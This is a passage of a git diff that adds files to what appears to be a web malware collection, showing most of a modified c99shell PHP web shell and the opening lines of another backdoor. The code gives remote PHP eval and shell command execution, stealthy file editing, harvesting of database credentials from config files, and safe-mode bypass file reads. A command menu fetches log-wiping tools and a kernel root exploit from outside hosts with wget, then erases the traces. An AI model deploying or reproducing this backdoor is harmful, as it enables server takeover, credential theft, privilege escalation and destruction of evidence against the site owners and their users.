",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("[hex]","info"), + array("[html]","html"), + array("[txt]","txt"), + array("[Code]","code"), + array("[Session]","phpsess"), + array("[exe]","exe"), + array("[SDB]","sdb"), + array("[gif]","img"), + array("[ini]","ini"), + array("[download]","download"), + array("[rtf]","notepad"), + array("[change]","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;[$ext]&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top"><center><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><br/><b>Local Command:</b> <input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><br/> + <b> Quick Commands </b></div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="#"> [File Manipulation] + <OPTION VALUE=""> + <OPTION VALUE="lsattr -va">List file attributes on a Linux second extended file system + <OPTION VALUE="find / -type f -perm -04000 -ls">Find suid files + <OPTION VALUE="find . -type f -perm -04000 -ls">Find suid files in current directory + <OPTION VALUE="find / -type f -perm -02000 -ls">Find sgid files + <OPTION VALUE="find . -type f -perm -02000 -ls">Find sgid files in current directory + <OPTION VALUE="ls -lia">List you current directory's files, folders, & permissions + <OPTION VALUE="find / -type f -name config.inc.php">Find config.inc.php files + <OPTION VALUE="find . -type f -name config.inc.php">Find config.inc.php files in current directory + <OPTION VALUE="find / -type f -name "config*">Find config* files + <OPTION VALUE="find . -type f -name "config*">Find config* files in current directory + <OPTION VALUE="find / -type f -perm -2 -ls">Find all writable files + <OPTION VALUE="find . -type f -perm -2 -ls">Find all writable files in current directory + <OPTION VALUE="find / -perm -2 -ls">Find all writable directories and files + <OPTION VALUE="find . -perm -2 -ls">Find all writable directories and files in current directory + <OPTION VALUE="find / -type f -name service.pwd">Find all service.pwd files + <OPTION VALUE="find . -type f -name service.pwd">Find service.pwd files in current directory + <OPTION VALUE="find / -type f -name .htpasswd">Find all .htpasswd files + <OPTION VALUE="find . -type f -name .htpasswd">Find .htpasswd files in current directory + <OPTION VALUE="find / -type f -name .bash_history">Find all .bash_history files + <OPTION VALUE="find . -type f -name .bash_history">Find .bash_history files in current directory + <OPTION VALUE="find / -type f -name .mysql_history">Find all .mysql_history files + <OPTION VALUE="find . -type f -name .mysql_history">Find .mysql_history files in current directory + <OPTION VALUE="find / -type f -name .fetchmailrc">Find all .fetchmailrc files + <OPTION VALUE="find . -type f -name .fetchmailrc">Find .fetchmailrc files in current directory + <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs + <OPTION VALUE=""> + <OPTION VALUE="#"> [Directory Malipulation] + <OPTION VALUE=""> + <OPTION VALUE="pwd">List your current directory + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Is /etc/ writable? + <OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories +<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory +<OPTION VALUE="find / -type d -perm -2 -ls">Find all writable directories +<OPTION VALUE="find . -type d -perm -2 -ls">Find all writable directories in current directory +<OPTION VALUE=""> +<OPTION VALUE="#"> [Miscellaneous Commands] +<OPTION VALUE=""> + <OPTION VALUE="tar -cvf NEWTAR!!.tar -c <?php passthru('pwd'); ?>">Tar your current directory. (Only works if the directory is writable) + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last users to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">Users without passwords + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CpuInfo + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE=""> + <OPTION VALUE="#"> [Application Verification] + <OPTION VALUE=""> + <OPTION VALUE="which wget curl w3m lynx">Check For Downloaders (WGET, et cetera) + <OPTION VALUE="locate gcc">Check For GCC + <OPTION VALUE=""> + <OPTION VALUE="#"> [Log Cleaners] + <OPTION VALUE=""> + <OPTION VALUE="wget http://packetstormsecurity.org/UNIX/penetration/log-wipers/logcleaner-0.3.c">Wipelogs (Part 1)(Zap3) + <OPTION VALUE="gcc logcleaner-0.3.c -o logcleaner-0.3">Wipelogs (Part 2)(Zap3) + <OPTION VALUE="./logcleaner-0.3 <? echo $_SERVER["REMOTE_ADDR"]; ?>">Wipelogs (Part 3)(Zap3) + <OPTION VALUE="Gone!<? if($_REQUEST['cmd']=="Gone!") { if (file_exists("logcleaner-0.3.c")) { unlink("logcleaner-0.3.c"); } if (file_exists("logcleaner-0.3")) { unlink("logcleaner-0.3"); } } ?>">Remove All Zap3 Traces + <OPTION VALUE=""> + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/vanish.c">Wipelogs (Part 1)(Vanish) + <OPTION VALUE="gcc vanish.c -o vanish">Wipelogs (Part 2)(Vanish) + <OPTION VALUE="./vanish <? echo exec('whoami'); ?> <? echo $_SERVER["REMOTE_ADDR"]; ?> <? echo gethostbyname($_SERVER["HTTP_HOST"]); ?>">Wipelogs (Part 3)(Vanish) + <OPTION VALUE="Gone!!<? if($_REQUEST['cmd']=="Gone!!") { if (file_exists("vanish.c")) { unlink("vanish.c"); } if (file_exists("vanish")) { unlink("vanish"); } } ?>">Remove All Vanish Traces + <OPTION VALUE=""> + <OPTION VALUE="#"> [Root Exploits] + <OPTION VALUE=""> + <OPTION VALUE="wget http://www.synsta.templatez.org/1.txt">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 1) + <OPTION VALUE="mv 1.txt exploit.c">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 2) + <OPTION VALUE="gcc exploit.c -o exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 3) + <OPTION VALUE="./exploit">Linux Kernel 2.6.13 - 2.6.17.4 Local Root Exploit (Part 4) + <OPTION VALUE="Gone!!!<? if($_REQUEST['cmd']=="Gone!!!") { if (file_exists("exploit.c")) { unlink("exploit.c"); } if (file_exists("1.txt")) { unlink("1.txt"); } if (file_exists("exploit")) { unlink("exploit"); } } ?>">Remove All Exploit Traces + </SELECT> + + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"></div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center><br/><b> Kernel Information </b> +<form action=http://google.com/search name=f><input type=hidden name=client value="firefox-a"><input type=hidden name=rls value="org.mozilla:en-US:official_s"><input type=hidden name=hl value=en><input id=sf maxLength=256 name=q value="<?php echo wordwrap(php_uname()); ?>" size=80> +&nbsp; +<input type=submit value="Search" name=btnG></form> +</center> + </td> +</tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><strong>PHP Safe-Mode Bypass (Read Files) </strong></div> + <br> + <form action="<?php echo $surl; ?>" method="post"> + <div align="center"> + File: <input type="text" name="file"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + <?php + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_REQUEST['file']; + $get=htmlspecialchars($file); + echo "</br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + + + echo "<div class=\"shell\"></br><b>Reading $get:</b><br><br><textarea rows=10 cols=50>$source</textarea><br>"; + unlink($temp); + } else { + echo("</br><FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_REQUEST['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_REQUEST['directory']; +$files = glob("$chemin*"); +echo "</br>Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_REQUEST['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <strong>PHP Safe-Mode Bypass (List Directories)</strong>: + <form action="<?php echo $surl; ?>" method="post"> + <div align="center"><br> + Dir: <input type="text" name="directory"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center> + <b>Search</b> + <form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center> + <b>Upload</b> + <form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center> + <b><strong>Create Directory + </strong> + <p><form action="<?php echo $PHP_SELF; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center> + <strong>Create File </strong> + <form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> + +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center> + <b>Enter Directory </b> + <form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center> + <b>Access File</b> + <form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +</td> +</tr> +</TABLE> +<br><TABLE width="100%" height=1 border=1 cellPadding=0 cellSpacing=0 borderColorLight=#c0c0c0 borderColorDark=#666666 bgColor=#333333 style="BORDER-COLLAPSE: collapse"> + <tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell modded by <a href=http://w4ck1ng.com class="style1">w4ck1ng</a>. | <? echo("$shver"); ?> | Page generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</p></td></tr></table> +<br/></body></html><?php chdir($lastdir); c99shexit(); ?> + diff --git a/web-malware-collection-master/Backdoors/PHP/c99madshell.php b/web-malware-collection-master/Backdoors/PHP/c99madshell.php new file mode 100755 index 0000000..8d95cd4 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99madshell.php @@ -0,0 +1,7 @@ +<?PHP + //Authentication +$login = ""; //Login +$pass = ""; //Pass +$md5_pass = ""; //If no pass then hash 